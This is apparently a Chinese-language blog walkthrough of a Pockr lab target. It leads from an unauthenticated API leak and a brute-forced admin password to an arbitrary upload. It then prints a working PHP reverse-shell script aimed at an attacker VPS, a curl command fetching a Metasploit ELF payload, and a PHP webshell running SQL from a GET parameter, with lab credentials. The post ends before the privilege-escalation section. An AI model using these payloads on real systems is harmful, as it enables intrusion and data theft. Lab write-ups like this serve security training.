未授权引发的血案 Pockr

一道很有意思的题目,考察一些实际渗透中的知识。
点击进入靶场:靶场地址

信息收集

进入靶场后是一个cms的登陆,尝试了敏感文件泄漏、搜索cms通用漏洞、旁站等套路后无果。然后在首页的源码里,发现了调用的js代码,审计后发现在api.js中可能存在未经授权调用api,会造成信息泄漏。我们向http://47.74.184.73:8873/User_Pockr_Api/UserInfo这个页面post $userid这个变量,应该会返回这个userid的相关信息。那么问题来了。该如何找这个userid,该找谁的userid?我们的目的是登陆这个系统,当然是要管理员的userid。这是个登陆的页面,我们注意到有忘记密码这个功能并在页面下方的技术支持有admin的邮箱:admin@pockr.com

1
2
3
4
5
6
7
8
9
10
11
12
13
14
define(function (require, exports, module) {
var $ = require('jquery');
var url='User_Pockr_Api/UserInfo';
var userid=$("#userid").val();
$.post(url, { userid: userid }, function (resultJSONObject) {
if (resultJSONObject.message) {
$("$userinfo").append(resultJSONObject.username);
} else {
alert("error");
}
}, "json");


})

登陆到后台

经过前面的分析,我们的思路应该是在忘记密码处填写管理员邮箱,观察数据包,找到admin的userid。
enter image description here

找到userid后,收集泄漏的管理员信息。可以看到管理员的账号是sunzheyi,拿到这个账号后,密码先用常规top1000来一套。发现还真爆出来了。。。

enter image description here

可以看到密码是1q2w3e~那还等什么,登陆后台看看有什么可以利用的。

enter image description here

后台的功能非常简单,在添加菜单处有一个上传附件的功能,可以任意文件上传。但是上传后返回的路径只有子文件夹和文件名,我们找不到上传后的文件在哪。

enter image description here

在bp抓包,观察上传的过程。发现有subSysFolder参数,很明显是子文件的路径。我们知道前台是允许创建一个文件夹的,可以大概猜出它的目录结构是这样的

/uploads/我们创建的子文件夹/上传文件的内容

这个uploads下我们有权限上传,其它地方未必有权限。可以构造其它目录下创建一个文件夹,看看什么情况。果然,没有权限,但报错页面爆出来物理路径,这下就好办了。直接把马子上传到根目录即可。稳妥起见,先传个phpinfo踩一下点。

enter image description here

enter image description here

大概看了一下服务环境:php7、Linux bug05.ciadmin.com 4.14.27-041427-generic #201803151737 SMP Thu Mar 15 21:40:47 UTC 2018 x86_64、disable_functions值为空。

enter image description here

获取shell

由于是linux的机器,直接上传php的socket获取一个交互shell比较方便。PHITHON师傅的反弹socket 直接把ip和端口指向你的公网vps。

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$ip = 'xxx';
$port = xxx;
$sock = fsockopen($ip, $port);
$descriptorspec = array(
0 => $sock,
1 => $sock,
2 => $sock
);
$process = proc_open('/bin/sh', $descriptorspec, $pipes);
proc_close($process);

?>

不出意外的获取到了shell。可以看到限制掉了很多功能。为了方便,我们来获取一个metasploit的session。在vps生成一个linux的马,在对方服务器用curl或者wget下载,给个x权限执行。

enter image description here

curl http://xxx/shell.elf -o shell.elf --progress

enter image description here

UDF提权

拿到shell以后肯定要先看一下配置文件,收集一波信息。先找连接数据库到配置文件。

/var/www/html/www/application/config/database.php

enter image description here
拿到数据库的连接账号密码,先试一下是不是root账号的密码,如果是的话那就美滋滋~等等。。发现这里不是常规的localhost,而是外联的,站库分离。用msf上传执行sql语句的代码到根目录,测试一下。

select%20*%20from%20five_admin_user;

enter image description here

sql查询代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$mysql_server_name='sql05.ciadmin.com';
$mysql_username='root';
$mysql_password='mysql_2018';
$mysql_database='five_admindb';
$mysqli = mysqli_connect($mysql_server_name,$mysql_username,$mysql_password,$mysql_database);
if (mysqli_connect_error()) {
die('Connect Database Error');
}
$sql = $_GET['0ops'];
$demo = mysqli_query($mysqli,$sql);
var_dump($demo->fetch_array());
mysqli_close($mysqli);
?>

近期考试,后面的稍后补上

文章作者: Carl Star
文章链接: http://carlstar.club/2018/06/22/未授权引发的血案-Pockr/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Hexo